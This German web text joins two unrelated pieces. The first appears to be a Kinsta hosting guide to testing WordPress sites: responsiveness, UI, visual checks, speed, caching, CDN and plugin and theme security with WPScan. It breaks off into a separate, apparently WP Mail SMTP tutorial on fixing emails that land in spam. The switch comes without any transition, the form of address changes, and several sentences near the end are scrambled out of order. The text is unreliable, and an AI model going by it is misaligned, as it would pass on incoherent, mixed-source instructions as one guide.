Responsivität für Mobilgeräte/Desktop
Da über 60 Prozent der Menschen mit einem mobilen Gerät online gehen, ist es wichtiger denn je, dass deine WordPress-Website responsive ist. Auf diese Weise kannst du sicherstellen, dass deine Seiten auf allen Bildschirmgrößen, einschließlich Desktop, Tablet und Handy, reibungslos angezeigt werden.
Am einfachsten kannst du die Reaktionsfähigkeit deiner Website testen, indem du die URL deiner Website auf deinem mobilen Gerät eingibst. Wenn du jedoch die Darstellung deiner Website von deinem Desktop aus testen möchtest, kannst du den WordPress Customizer verwenden.
Gehe einfach zu Darstellung > Anpassen:
Teste die Reaktionsfähigkeit von WordPress mit dem WordPress Customizer
Je nach Theme siehst du unterschiedliche Panels. Unten auf deiner Seite kannst du auf das Symbol für Mobilgeräte oder Tablets klicken, um eine Vorschau deiner Website in der angegebenen Bildschirmgröße anzuzeigen.
Außerdem kannst du auf die Entwicklertools von Google Chrome zugreifen, um zu sehen, wie deine WordPress-Website auf mobilen Geräten aussieht. Dazu musst du nur eine Seite deiner Website in Google Chrome öffnen.
Dann klickst du mit der rechten Maustaste auf die Seite und wählst Inspizieren:
Teste die Reaktionsfähigkeit von WordPress mit Google Chrome Inspect
Jetzt suchst du die Symbolleiste Gerät umschalten oben im Popup (links neben dem Reiter Elemente):
Klicke auf die Symbolleiste Gerät umschalten in Chrome Inspect
Klicke darauf und dein Bildschirm wird sofort angepasst:
Betrachte deine Website in der mobilen Ansicht mit Google Chrome Inspect
Wie du siehst, kannst du jetzt testen, wie deine Website in Responsive Dimensionen angezeigt wird. Wenn du auf das Dropdown-Menü Dimensionen klickst, kannst du deine Seite auf weiteren Geräten testen, z. B. auf verschiedenen iPhone- und Samsung Galaxy-Modellen.
Testen der Benutzeroberfläche (UI)
Wenn wir von der Benutzeroberfläche (User Interface, UI) deiner Website sprechen, meinen wir damit alle Komponenten deiner Website, mit denen Besucher interagieren können. Die meisten Websites enthalten zum Beispiel Links, Schaltflächen, Menüs usw. Irgendwann müssen die Nutzer mit diesen Elementen interagieren.
Deshalb ist es besonders wichtig, deine Benutzeroberfläche zu testen. Wenn etwas nicht richtig funktioniert, können Besucher/innen frustriert sein und deine Seite verlassen.
Du kannst eine lokale Umgebung einrichten, um deine UI-Elemente zu testen. Du könntest zum Beispiel ein neues Navigationsmenü entwickeln und es ausprobieren.
In diesem Fall kannst du in deinem DevKinsta-Dashboard deinen lokalen Verwaltungsbereich öffnen. Dann navigierst du auf der lokalen Seite zu Erscheinungsbild > Menüs . Jetzt klickst du auf Neues Menü erstellen.
Gib deinem Menü einen Namen und klicke auf Menü speichern. Füge dann auf der linken Seite deines Bildschirms Menüpunkte hinzu und wähle Zu Menü hinzufügen:
Lokales WordPress für UI-Tests
Aktiviere unter Menüeinstellungen das Kästchen Primäres Menü. Dann speicherst du deine Änderungen.
Du kannst auch auf Verwalten mit Live-Vorschau oben auf dem Bildschirm klicken, um zu sehen, wie sich dein Menü macht:
Dein lokales Menü mit Live-Vorschau anzeigen
Als Nächstes öffnest du deine lokale Website in einem neuen Browser, um dein neues Menü auf dem Frontend zu sehen:
Teste deine Benutzeroberfläche in deiner lokalen Umgebung
Du kannst auch die Navigationslinks testen, indem du auf jeden der Menüpunkte klickst. Wenn wir zum Beispiel auf den Link Großhandelsbestellung klicken, werden wir zu der entsprechenden Seite weitergeleitet, die wir unserem Menü hinzugefügt haben:
Menülinktests in lokaler Umgebung
Auf diese Weise kannst du neue Designelemente testen und sicherstellen, dass deine Benutzeroberfläche richtig funktioniert.
Visuelle Tests
Visuelle Regressionstests (VRT) stellen sicher, dass alle deine Designelemente und Layouts so aussehen, wie sie sollen. Aus diesem Grund wird VRT oft nach Änderungen an der Website durchgeführt, z. B. wenn du das Theme wechselst oder ein Plugin aktualisierst.
Auf diese Weise kannst du sicherstellen, dass die Änderungen deine visuellen Elemente nicht beeinträchtigen. So kann es zum Beispiel sein, dass dein Inhalt falsch ausgerichtet ist oder Schaltflächen verschwunden sind.
Wie bei den UI-Tests würdest du solche Probleme oft gar nicht bemerken, wenn du deine Website nicht am Frontend besuchst. Es gibt automatisierte VRT-Tools, die deine Website kontinuierlich auf visuelle Anomalien prüfen.
Oder du kannst deine Seiten einfach manuell vergleichen, bevor und nachdem du deine Änderungen vorgenommen hast. Angenommen, du willst das Theme wechseln. Am sichersten ist es, dies in einer lokalen Umgebung wie DevKinsta zu tun, damit du visuelle Tests durchführen kannst, bevor du die Änderung auf deiner Live-Website anwendest.
Im Moment haben wir das Twenty Twenty-Theme auf unserer lokalen Website aktiviert. Wie du siehst, sind auf der Startseite alle Schaltflächen, Texte und Bilder mittig angeordnet:
Visuelle Tests in DevKinsta durchführen
Wenn wir jedoch zum Twenty Twenty-Three-Theme wechseln, kannst du sehen, dass die Schaltfläche „Jetzt einkaufen“ falsch ausgerichtet ist:
Erkenne visuelle Fehler mit visuellen WordPress-Tests
Wenn du eine lokale Umgebung für deinen Test einrichtest, kannst du visuelle Anomalien wie diese aufspüren.
Wie du die Geschwindigkeit deiner WordPress-Website testest (6 Überlegungen)
Eine weitere wichtige Methode, um deine WordPress-Website zu testen, ist die Überprüfung der aktuellen Geschwindigkeit deiner Website. In diesem Abschnitt gehen wir auf sechs Punkte ein, mit denen du die Leistung deiner Website testen kannst.
Vor diesem Hintergrund kann es hilfreich sein, mit Kinsta APM zu beginnen. Mit unserem Application Performance Monitoring Tool ist es ganz einfach, WordPress-Leistungsprobleme zu erkennen:
Kinsta APM-Tool
Du erhältst zum Beispiel Einblick in alle PHP-Prozesse, MySQL-Datenbankabfragen und externen HTTP-Aufrufe. Dadurch bist du in der Lage, lange API-Aufrufe, langsame Datenbankabfragen und nicht optimierten Plugin- und Theme-Code besser zu erkennen.
Das Beste daran ist, dass Kinsta APM in allen Kinsta-Tarifen kostenlos ist und du direkt von deinem MyKinsta-Dashboard aus auf das Tool zugreifen kannst. Insgesamt ist es eine einfach zu bedienende Lösung, die dir hilft, die Leistung und die Ladezeiten deiner Website zu verbessern.
Langsame Abfragen oder Skripte
Um sicherzustellen, dass deine Website auf höchstem Niveau funktioniert, kannst du WordPress auf langsame Abfragen und Skripte testen. Langsame Abfragen und Skripte wirken sich auf die Gesamtgeschwindigkeit deiner Seite aus und machen deine Website weniger effizient.
Der einfachste Weg, langsame Abfragen und Skripte zu erkennen, ist die Aktivierung von Kinsta APM. Wenn du ein Kinsta-Kunde bist, kannst du das Tool kostenlos nutzen. Du musst es jedoch über dein MyKinsta-Dashboard aktivieren.
Logge dich dazu einfach in dein Konto ein und wähle die Website aus, auf der du das APM-Tool nutzen möchtest. Navigiere nun zum Reiter APM und klicke auf Aktivieren:
Aktiviere das Kinsta-APM-Tool über dein MyKinsta-Dashboard
Dann musst du die Dauer auswählen, für die du das Tool nutzen willst. Da das APM-Tool Serverressourcen verbraucht, kann es sich auf die Leistung deiner Website auswirken. Daher ist es am besten, das Tool nur für den Zeitraum zu aktivieren, in dem du aktiv an der Behebung eines Leistungsproblems arbeitest.
Triff deine Wahl und klicke auf Überwachungszeit einschalten:
Aktiviere die Überwachungszeit für Kinsta APM
Es kann ein paar Minuten dauern, bis das Tool Daten über deine Website gesammelt hat. Wechsle danach auf die Registerkarte Datenbank und suche den Abschnitt Langsamste Datenbankabfragen :
Langsamste Datenbankabfragen anzeigen
Hier findest du die zehn langsamsten Datenbankabfragen auf deiner Website. Wenn du auf eine Abfrage klickst, kannst du dir auch die Transaktionsmuster ansehen:
Transaktionsbeispiele anzeigen
Auf diese Weise kannst du mehr Informationen über die Probe, die Zeitleiste, die Spandetails und den Stacktrace herausfinden.
Langsame Plugins
Schlecht programmierte Plugins können nicht nur die Sicherheit deiner WordPress-Website beeinträchtigen, sondern auch die Leistung. Deshalb ist es wichtig, dieses Problem so schnell wie möglich zu erkennen.
Auch hier kannst du das Kinsta APM-Tool verwenden, um langsame Plugins zu identifizieren. Sobald du das Tool in deinem MyKinsta-Dashboard aktiviert hast, navigiere zum Reiter APM . Wechsle dann zu WordPress:
Testen auf langsame Plugins
Der erste Bereich, den du siehst, ist Langsamste WordPress-Plugins. Die langsamsten aufgezeichneten Plugins werden oben im Abschnitt aufgelistet.
Um mehr Informationen über die Leistungsprobleme zu erhalten, klicke auf eines der aufgelisteten Plugins. Dadurch werden die Transaktionsbeispiele geladen, die das Plugin ausgeführt hat. Du kannst dir zum Beispiel den Zeitstempel, die Zeitleiste der Transaktionsverfolgung, die Details der Spanne, die Zeitleiste der Verfolgung und vieles mehr ansehen.
Langsame Seiten
Es ist auch wichtig, WordPress auf langsame Seiten zu testen, da dies zu einer schlechten UX führen kann. Außerdem ist die Seitengeschwindigkeit ein Rankingfaktor für Suchmaschinen wie Google.
Du kannst ein kostenloses Website-Geschwindigkeitstest-Tool wie Pingdom oder PageSpeed Insights verwenden, um eine schnelle Bewertung der Seitengeschwindigkeit zu erhalten. Mit dem APM-Tool von Kinsta kannst du jedoch einen genaueren Einblick in die Geschwindigkeit deiner Seite gewinnen.
Sobald du Kinsta APM aktiviert hast, dauert es ein paar Sekunden, bis die Leistungskennzahlen deiner Website geladen sind. Gehe danach auf den Reiter Transaktionen :
Teste langsame WordPress-Seiten mit Kinsta APM
Hier siehst du einige Daten über die gesamte Transaktionszeit deiner Website. Du kannst aber auch nach unten zu Langsamste Transaktionen scrollen, um die PHP-Prozesse zu sehen, die die meiste Transaktionszeit benötigen:
Langsamste Transaktionen anzeigen
Wenn du eine Transaktion auswählst, kannst du die URL herausfinden, die sie erzeugt. Klicke dann auf die URL, um die Zeitleiste der Transaktionsverfolgung anzuzeigen:
Zeitleiste für die langsamsten Transaktionen
Auf diese Weise kannst du die Zeitspanne finden, die am meisten Zeit in Anspruch nimmt. Wenn diese Zeitspannen als kritisch für deine Leistung eingestuft werden, werden sie in der Regel orange oder rot hervorgehoben.
Caching
Caching ist eine einfache Methode, um deine Ladezeiten zu verbessern. Dabei werden Kopien deiner Website auf dem Server gespeichert. Wenn ein Nutzer deine Seite aufruft, kann dein Server die im Cache gespeicherte Version anzeigen, so dass die Daten viel schneller übertragen werden können.
Bei Kinsta erhältst du Zugang zum Server-Level-Caching, das automatisch auf allen Live-Websites aktiviert ist. Wenn du jedoch eine Staging-Umgebung verwendest, musst du den Cache manuell aktivieren.
Klicke in deinem MyKinsta-Dashboard auf WordPress-Sites und wähle deine Website aus. Dann navigierst du zu Tools und klickst unter Site Cache auf Enable:
Aktiviere den Cache auf Serverebene in MyKinsta
Der einfachste Weg, dein Caching zu testen, ist, deine Website mit einem Web-Speed-Test-Tool wie Pingdom zu testen. Es ist jedoch wichtig, dass du den Test mehr als einmal durchführst. Denn wenn du ihn nur einmal durchführst, kann es sein, dass der Inhalt noch nicht auf dem Server des Hosts oder im CDN zwischengespeichert ist.
Gib deine URL in das URL-Feld bei Pingdom ein und wähle einen Ort aus. Suche nun unter Response Headers nach x-kinsta-cache. Wenn hier MISS steht, wird deine Website nicht aus dem Cache geladen.
Um das zu beheben, musst du deine Website noch ein paar Mal durch den Pingdom-Test laufen lassen. Dies sollte dazu führen, dass die x-kinsta-cache und x-cache Header einen HIT registrieren. Jetzt überprüfst du die Ergebnisse und schaust auf den großen gelben Balken, der die Wartezeit oder Time to First Byte (TTFB) anzeigt.
Diese Zahl ist in der Regel hoch, wenn eine Seite nicht aus dem Cache gekommen ist. Auch hier empfiehlt es sich, den Test einmal mit deaktiviertem und dann noch einmal mit aktiviertem Cache durchzuführen, um den Unterschied deutlich zu sehen.
Content Delivery Network (CDN)
Ein Content Delivery Network (CDN) ermöglicht es dir, deine Ladezeiten zu verbessern, indem es deine Webseiten über einen Server ausliefert, der physisch näher bei deinen Besuchern steht. Mit allen Kinsta-Tarifen erhältst du Zugang zu einem von Cloudflare betriebenen CDN.
Bei neuen Websites ist das CDN standardmäßig aktiviert. Du kannst aber überprüfen, ob dein CDN aktiviert ist, indem du dich in dein MyKinsta-Dashboard einloggst.
Gehe zu WordPress Sites und wähle den Namen deiner Website aus. Klicke auf den Reiter CDN und dann auf Aktivieren. Wenn du Deaktivieren siehst, weißt du, dass das CDN aktiv ist:
Aktiviere das Kinsta CDN
Um dein CDN zu testen, ist es am einfachsten, ein Tool zum Testen der Website-Geschwindigkeit zu verwenden. Aber zuerst ist es eine gute Idee, die HTTP-Header eines statischen Assets zu überprüfen, um sicherzustellen, dass es vom Kinsta CDN geladen wird.
Du kannst dies mit dem Inspect Tool deines Browsers oder mit unserem kostenlosen HTTP-Status- und Redirect-Checker überprüfen. Jetzt musst du ein Tool zum Testen der Website-Geschwindigkeit auswählen, z. B. Pingdom:
Pingdom
Du kannst den ersten Test durchführen, nachdem du das CDN abgeschaltet hast. Dann kannst du deine Website mit aktiviertem CDN erneut testen, um den Unterschied zu sehen. Außerdem solltest du dein CDN von verschiedenen Standorten aus testen.
Wenn dein Test abgeschlossen ist, solltest du dir die Anfragen ansehen, die vom Kinsta CDN (xxxxkinstacdn.com) geladen werden. Ausführliche Informationen zu diesem Thema findest du in unserem Beitrag über die Durchführung eines CDN-Tests.
Lasttests
Entgegen der landläufigen Meinung gibt es einen wichtigen Unterschied zwischen Geschwindigkeitstests und Lasttests. Bei Geschwindigkeitstests wird im Wesentlichen die Ladezeit einer Seite gemessen, einschließlich der MySQL- und PHP-Antwortzeiten.
Andererseits bieten Lasttests eine feinere Granularität als Geschwindigkeitstests. Er kann zum Beispiel dazu verwendet werden, die Ladezeiten in bestimmten Situationen zu messen, z. B. wenn deine Website von einem hohen Verkehrsaufkommen betroffen ist.
Das Einrichten eines Lasttests ist ziemlich komplex. Deshalb kann es eine gute Idee sein, einen Entwickler um Hilfe zu bitten. Wenn du einen Lasttest für deine Kinsta-Website durchführen möchtest, wende dich an einen Mitarbeiter unseres Support-Teams.
Wie du die Sicherheit deiner WordPress-Website testest
Wenn du WordPress testest, musst du sicherstellen, dass die gesamte Software auf deiner Website sicher ist. Das betrifft nicht nur die WordPress-Kernsoftware, die die Plattform nutzt, sondern auch die Sicherheit von Themes und Plugins.
Das Testen von Themes und Plugins kann sogar noch wichtiger sein, da sie nicht immer aus einer seriösen Quelle stammen. Wenn du Themes und Plugins von Drittanbieter-Websites installierst, gibt es keine Möglichkeit zu überprüfen, ob die Software alle erforderlichen Sicherheitsprüfungen durchlaufen hat.
Das heißt, das Plugin oder Theme könnte schlecht programmiert sein oder sogar bösartige Skripte oder Fehler enthalten, die deine Website beschädigen können. Außerdem ist es wichtig, dass du die Software auf deiner Website immer auf dem neuesten Stand hältst, denn veraltete Software kann als Hintertür für böswillige Akteure genutzt werden, um sich Zugang zu verschaffen.
Kernsicherheit
Obwohl WordPress eine sichere Plattform ist, ist sie nicht immun gegen Cyberangriffe. Deshalb ist es wichtig, dass du die Sicherheit deiner Kernsoftware regelmäßig überprüfst.
Eine der besten Möglichkeiten, deine Kernsoftware zu schützen, ist die Entscheidung für einen guten Webhoster. Bei Kinsta bekommst du zum Beispiel Zugang zu DDoS-Schutz, Firewalls und Malware-Scans. Außerdem haben wir ein spezielles Malware-Entfernungsteam vor Ort. Selbst wenn deine Website infiziert wird, können wir sie wieder in ihren ursprünglichen Zustand versetzen.
Wenn ein neues WordPress-Update veröffentlicht wird, kannst du es auf jeden Fall zuerst auf seine Sicherheit testen, indem du es auf einer Staging-Seite oder in einer lokalen Umgebung ausführst.
Bei Kinsta ist das ganz einfach. Du musst nur zu WordPress Sites navigieren und deine Website aus der Liste auswählen. Stelle dann sicher, dass deine Website auf Staging eingestellt ist, wenn du das Update ausführst.
Wenn du sicher bist, dass die neue WordPress-Version sicher ist, kehrst du zu diesem Bildschirm zurück und klickst auf Push environment > Push to LIVE , um die Änderung zu übernehmen:
Änderungen von der Staging-Website live schalten
Triff deine Wahl (zwischen Dateien oder Datenbank) und bestätige deine Entscheidung mit einem Klick auf Push to live.
Theme-Sicherheit
Wenn du ein neues Theme findest, das du installieren möchtest, aktivierst du es am besten in einer lokalen Entwicklungsumgebung oder auf deiner Staging-Site. Das Gleiche gilt, wenn ein bestehendes Theme auf deiner Seite ein Update veröffentlicht.
Die meisten Theme-Updates enthalten Patches für Sicherheitsprobleme. Es kann aber auch passieren, dass du ein schlechtes Update bekommst, das mit einer anderen Software auf deiner Website kollidiert.
Wenn es sich um ein Theme handelt, das du noch nie benutzt hast (und du die Entwickler nicht kennst), ist es viel sicherer, das Theme in einer lokalen Umgebung zu installieren. Das bedeutet, dass selbst wenn das Theme deine Website beschädigt, deine Live-Website davon nicht betroffen ist.
Wenn du Kinsta-Kunde bist, kannst du also eine Testseite einrichten. Wenn deine Website nicht bei Kinsta gehostet wird, kannst du auch kostenlos mit DevKinsta eine lokale Entwicklungsumgebung einrichten.
Wenn du DevKinsta auf deinem Computer geöffnet hast, rufe die Seite Site Info auf. Hier klickst du auf WP Admin:
Lokale Website von DevKinsta aus starten
Dann installierst und aktivierst du das Theme, wie du es normalerweise in WordPress tun würdest. Normalerweise ist es eine gute Idee, mindestens eine Woche zu warten, bevor du das Theme auf deiner Live-Website installierst (das gilt auch für ein neues Theme-Update).
Wenn du jedoch die Sicherheit eines bestehenden Themes auf deiner Website überprüfen möchtest, ist es am einfachsten, einen Sicherheitsscanner zu verwenden. WPScan ist eine großartige Option, die alle Sicherheitslücken in deinen WordPress-Themes aufspürt.
Plugin-Sicherheit
Auch Plugins können eine Gefahr für die Sicherheit deiner Website darstellen. Deshalb ist es eine gute Praxis, die Sicherheit deiner Plugins regelmäßig zu überprüfen.
Wie bereits erwähnt, kannst du ein neues Plugin (oder ein Plugin-Update) in einer lokalen Umgebung oder auf einer Staging-Seite installieren. Auf diese Weise bleibt deine Live-Site intakt, falls etwas schief geht.
Wie bei Themes kann es aber auch nützlich sein, einen Schwachstellen-Scanner wie WPScan zu installieren. Die Nutzung dieses Tools ist völlig kostenlos. Alles, was du tun musst, ist, dich für ein Konto zu registrieren. Dann kannst du das API-Token zu deiner WordPress-Seite hinzufügen.
Sobald der Scanner mit deiner Website verknüpft ist, navigierst du zu WPScan > Einstellungen , wo du automatische tägliche oder stündliche Scans einrichten kannst:
Teste die Plugin-Sicherheit mit WPScan
Oder klicke auf die Registerkarte Bericht , um einen manuellen Test durchzuführen. Sobald der Test abgeschlossen ist, scrolle nach unten zum Abschnitt Plugins :
WPScan-Berichte
Hier kannst du eine vollständige Liste aller Plugins auf deiner Website sehen. Wenn deine Plugins sicher sind, siehst du ein Häkchen neben jedem Plugin-Namen. Andernfalls findest du einige Informationen in der Spalte „Schwachstellen„.
Geschwindigkeit und Sicherheit sind am besten, wenn du das richtige Hosting wählst
Natürlich kannst du deine Webseiten optimieren und alle notwendigen Sicherheitsmaßnahmen ergreifen, um eine erfolgreiche Website zu betreiben. Der beste Weg, um sicherzustellen, dass deine Website sicher und schnell ist, ist jedoch, einen guten Webhoster zu wählen.
Bei Kinsta legen wir großen Wert auf Geschwindigkeit und Sicherheit:
Kinsta
Alle unsere Angebote werden auf den besten CPUs mit globaler Verfügbarkeit gehostet. Außerdem erhältst du Zugang zu Kinstas Cloudflare-gestütztem CDN mit Servern an über 260+ Standorten.
Für alle, die sich um die Sicherheit im Internet sorgen, bietet Kinsta eine Vielzahl von Funktionen, um deine Website zu sichern. Du kannst tägliche Backups, Malware-Scans, DDoS-Schutz und Firewalls erwarten. Außerdem bieten wir einen sicheren SSH-Zugang und du kannst mit nur einem Klick ein kostenloses SSL-Zertifikat installieren.
Zusammenfassung
Ohne deine WordPress-Website zu testen, kannst du nicht richtig verstehen, wie die Nutzer deine Website erleben. Wer zum Beispiel bestimmte Browser benutzt, hat vielleicht Probleme mit deinem Menü. Mobile Besucher können mit langen Wartezeiten konfrontiert sein. Deshalb ist es wichtig, deine WordPress-Website zu testen.
Am besten testest du deine Website, indem du eine Staging-Site einrichtest oder mit DevKinsta eine lokale Umgebung erstellst. So erhältst du Einblicke in die Funktionalität, Leistung und Sicherheit deiner Website (ohne dein Live-Web-Erlebnis zu stören).
Ein bisschen zusätzliche Sicherheit kann aber nie schaden. Eine der einfachsten Möglichkeiten, um sicherzustellen, dass deine Website jederzeit reibungslos läuft, ist die Entscheidung für einen hochwertigen Webhoster wie Kinsta. Schau dir unsere Tarife an, um loszulegen!
Sparen Sie Zeit und Kosten und maximieren Sie die Leistung Ihrer Seite mit Integrationen auf Unternehmensebene im Wert von über 275$, die in jedem Managed WordPress Plan enthalten sind. Dazu gehören ein leistungsstarkes CDN, DDoS-Schutz, Malware- und Hacking-Abwehr, Edge-Caching und die schnellsten CPU-Maschinen von Google. Legen Sie los – ohne langfristige Verträge, mit Migrationsunterstützung und einer 30-Tage-Geld-zurück-Garantie.
Schauen wir uns zunächst einige häufig auftretende Probleme genauer an.
1. Fehlerbehebung bei WordPress-E-Mails, die im Spam landen
Wenn Sie sich fragen, warum die E-Mails Ihrer Website im Spam landen (oder verschwinden), führen Sie zunächst die folgenden Schritte zur Fehlerbehebung durch.
Befindet sich Ihr Server auf einer Spam-Blacklist?
Wenn Ihr Server auf der schwarzen Liste steht, bedeutet das, dass er in der Vergangenheit wegen Spam markiert wurde. Das bedeutet, dass Ihre E-Mails nicht vertrauenswürdig sind.
Dies ist ein häufiges Problem beim Shared Hosting. Wenn nur ein Kunde wegen Spam auf die schwarze Liste gesetzt wird, haben alle anderen Kunden auf demselben Server Probleme beim Senden von E-Mails.
Dies kann auch passieren, wenn Ihre Website mit Malware infiziert ist oder ein Hacker Ihren Server als E-Mail-Relay nutzt.
So erkennen Sie, ob Ihre E-Mails im Spam landen
Wenn Sie überprüfen möchten, ob Ihre E-Mails im Spam landen, können Sie prüfen, ob Sie auf einer Spam-Blacklist stehen.
Testen Sie dazu die IP-Adresse Ihres Servers mit dem Blacklists-Checker von MXToolbox . Klicken Sie einfach auf „Blacklist Check“ , um über 100 Blacklists gleichzeitig zu scannen.
Wenn Sie feststellen, dass Sie auf einer schwarzen Liste stehen, wenden Sie sich an Ihren Host und bitten Sie ihn, Sie auf einen anderen Server zu verschieben.
Werden einige WordPress-E-Mails im Spam landen, andere jedoch nicht?
Manchmal werden Sie feststellen, dass E-Mails für einen Empfänger im Spam landen, andere sie jedoch problemlos empfangen können.
Dies kommt sehr häufig bei Empfängern vor, die AOL, Yahoo oder Gmail verwenden. Diese Anbieter neigen dazu, deutlich strengere Spam-Prüfungen durchzuführen. Yahoo kann beispielsweise jede E-Mail von einer Domain ohne DMARC-Eintrag ablehnen.
Normalerweise können Sie dieses Problem beheben, indem Sie Ihre DNS-Einträge überprüfen , worauf wir später im Tutorial eingehen.
Wenn jedoch nur eine Person Ihre E-Mails nicht erhält, sollten Sie auch überprüfen, ob diese Ihre vorherigen E-Mails nicht als Spam markiert hat. In diesem Fall sollten Sie sich an Ihren E-Mail-Dienstanbieter wenden und fragen, ob Sie diese Person aus der Unterdrückungsliste entfernen können.
Senden Sie Bilder oder Anhänge?
Jede E-Mail, die Sie senden, hat einen Spam-Score, und das Einfügen von Bildern oder Anhängen erhöht diesen Score.
Obwohl Sie in WordPress E-Mails mit Anhängen versenden können , spielt die Größe der Anhänge eine Rolle. Mehrere Anhänge können dazu führen, dass Ihr E-Mail-Inhalt noch mehr als Spam aussieht.
Sie sind sich nicht sicher, ob das auf Sie zutrifft? Wenn Sie bereits über WP Mail SMTP Pro verfügen , wird die Anzahl der Anhänge im E-Mail-Protokoll angezeigt.
Darüber hinaus können große Bilder oder Anhänge dazu führen, dass E-Mails aufgrund der vom Postfach des Absenders oder Empfängers festgelegten Sendebeschränkungen fehlschlagen. Mit WP Mail SMTP können Sie gesendete Anhänge speichern, um den Verlust wichtiger Dateien zu vermeiden.
Verwenden Sie eine ungewöhnliche TLD?
Spam-Scores werden anhand einer Reihe von Faktoren berechnet, und die Top-Level-Domain (TLD) kann einer davon sein.
Die Top-Level-Domain ist der Teil der Domain nach dem letzten Punkt.
Laut Spamhaus gehören zu den am häufigsten von Spammern missbrauchten TLDs: .work, .shop, Und .biz. (Dies sind alles gTLDs, was bedeutet, dass sie nicht zu einem bestimmten geografischen Standort gehören.)
Durch die Verwendung einer nicht-traditionellen gTLD werden Sie nicht unbedingt als Spammer eingestuft. Wenn Ihre E-Mails jedoch bereits Spamfilter auslösen und den Spam-Score Ihrer E-Mails erhöhen, kann der Besitz einer dieser gTLDs dazu führen, dass Sie einen höheren Spam-Score erreichen.
Dies ist einer der Gründe, warum WPBeginner die Verwendung einer traditionellen TLD wie empfiehlt .combei der Auswahl des besten Domainnamens .
Ist Ihre E-Mail-Liste veraltet?
Ein weiterer Grund, der Ihren Spam-Score erhöhen und die Reputation Ihrer Domain beeinträchtigen kann, ist eine veraltete E-Mail-Liste.
Die E-Mail-Adressen in Ihrer E-Mail-Liste werden möglicherweise nicht mehr von Ihren Abonnenten verwendet. Oder einige Personen auf Ihrer Liste möchten möglicherweise einfach keine E-Mails mehr von Ihnen erhalten.
Wie dem auch sei: Wenn Ihre E-Mails ständig von Personen auf Ihrer Liste ungeöffnet bleiben, besteht die Gefahr, dass Sie als Spam gekennzeichnet werden.
Es ist eine gute Idee, Ihren Abonnenten hin und wieder eine Check-in-E-Mail zu senden. Auf diese Weise können Sie bestätigen, ob sie weiterhin an Ihrem Newsletter interessiert sind und ob ihre E-Mail-Adressen aktiv sind.
Anschließend können Sie inaktive Abonnenten entfernen und Ihre E-Mail-Liste bereinigen, um eine hohe Domänenreputation aufrechtzuerhalten und zu vermeiden, als Spam markiert zu werden.
Stellen Sie außerdem sicher, dass Ihre Abonnenten jederzeit eine einfache Möglichkeit haben, sich von Ihrem Newsletter abzumelden. Sie können beispielsweise einfach am Ende Ihrer E-Mail einen Abmeldelink hinzufügen.
WordPress-E-Mails landen immer noch im Spam?
Wenn keines dieser Probleme auf Sie zutrifft, liegt das Problem wahrscheinlich einfach an der fehlenden Authentifizierung. Wir können das mit WP Mail SMTP beheben. Diese Lösung funktioniert für alle auf Ihrer Website installierten Plugins, die E-Mails versenden.
Unabhängig davon, ob WooCommerce-E-Mails im Spam landen oder ein anderes WordPress-Plugin, sollte WP Mail SMTP dabei helfen, Ihre Zustellbarkeitsprobleme ein für alle Mal zu beheben.
2. Installieren Sie das WP Mail SMTP-Plugin
WP Mail SMTP ist das beste SMTP-Plugin für WordPress. Es unterstützt kostenlose und Premium-E-Mail-Anbieter, die Ihre WordPress-E-Mail-Probleme lösen.
Um das Plugin herunterzuladen, gehen Sie zur WP Mail SMTP- Website und melden Sie sich bei Ihrem Konto an. Wechseln Sie zur Registerkarte „Downloads“ , um die neueste Version der Plugin-Datei herunterzuladen.
Gehen Sie zu Ihrer Website und melden Sie sich beim WordPress-Dashboard an. Navigieren Sie nun zur Plugins-Seite und laden Sie die ZIP-Datei hoch, die Sie gerade heruntergeladen haben, um sie zu installieren.
Sobald das Plugin installiert ist, müssen Sie es unbedingt aktivieren. Sobald Sie dies tun, wird der Setup-Assistent des Plugins in Ihrem Browser gestartet.
Es ist wichtig, den gesamten Setup-Assistenten abzuschließen, um das Problem zu beheben. Denken Sie daran: Wenn Sie das Plugin installieren und es nicht einrichten, hat es keine Auswirkungen.
Brauche Hilfe?
Unsere Elite-Lizenz beinhaltet das White Glove Setup für WP Mail SMTP.
3. Wählen Sie einen E-Mail-Anbieter für WordPress
In diesem Schritt wählen wir den E-Mail-Anbieter aus, der Ihre WordPress-E-Mails zustellt.
Klicken Sie im ersten Bildschirm des Assistenten auf die Schaltfläche „Los geht’s“ , um zu beginnen.
WP Mail SMTP zeigt eine Liste der unterstützten Mailer-Dienste an.
Jeder dieser E-Mail-Anbieter hilft dabei, zu verhindern, dass Ihre WordPress-E-Mails im Spam landen. Sie haben jedoch alle unterschiedliche Sendelimits und Zulagen für Anhänge.
Darüber hinaus sind einige einfacher einzurichten als andere.
Wenn Sie einen zuverlässigen, professionellen und erschwinglichen Service wünschen, empfehlen wir SendLayer , SMTP.com oder Brevo (ehemals Sendinblue). Hierbei handelt es sich um Transaktions-E-Mail-Anbieter , das heißt, sie sind für die Verarbeitung einer großen Anzahl automatisierter Benachrichtigungs-E-Mails ausgelegt.
Im Vergleich zu Gmail oder Outlook sind sie auch einfach einzurichten.
Nachdem Sie Ihren E-Mail-Anbieter ausgewählt haben, klicken Sie auf den Link unten, um die entsprechende Dokumentation zu öffnen. Wir haben für jeden Mailer eine vollständige Anleitung erstellt, damit Sie Ihre WordPress-Site ganz einfach verbinden können:
Sobald Sie fertig sind, können Sie mit dem Assistenten fortfahren.
Wenn Sie über eine Pro-Lizenz zu aktivieren . die detaillierten E-Mail-Protokolle und die wöchentliche E-Mail-Zusammenfassung verfügen, empfehlen wir Ihnen dringend, im letzten Schritt
Wenn Sie diese Funktionen aktivieren, schalten Sie eine Menge zusätzlicher Funktionen in WP Mail SMTP frei:
Vollständige E-Mail-Protokollierung : Speichern Sie eine Kopie des Textkörpers jeder E-Mail zusammen mit den Kopfzeilen
Und das ist es! WP Mail SMTP sendet eine automatische Test-E-Mail, damit Sie überprüfen können, ob alles funktioniert.
Sie werden feststellen, dass WP Mail SMTP Sie gefragt hat, ob Sie den Formularnamen erzwingen möchten. Werfen wir einen Blick darauf, was das bedeutet.
4. Legen Sie den Absendernamen und die Absender-E-Mail in WordPress fest
Der Absendername und die Absender-E-Mail sind wichtige Einstellungen beim Versenden von E-Mails von Ihrer WordPress-Website.
Der Absendername ist der Name des Absenders und die Absender-E-Mail ist die E-Mail-Adresse, von der die Warnung oder Benachrichtigung gesendet wird.
Die Absender-E-Mail ist hier die wichtige Einstellung. Es ist äußerst wichtig, dass die Absender-E-Mail korrekt eingerichtet ist, um zu verhindern, dass WordPress-E-Mails im Spam landen.
überprüfen Sie können Ihre Absender-E-Mail in WP Mail SMTP » Einstellungen .
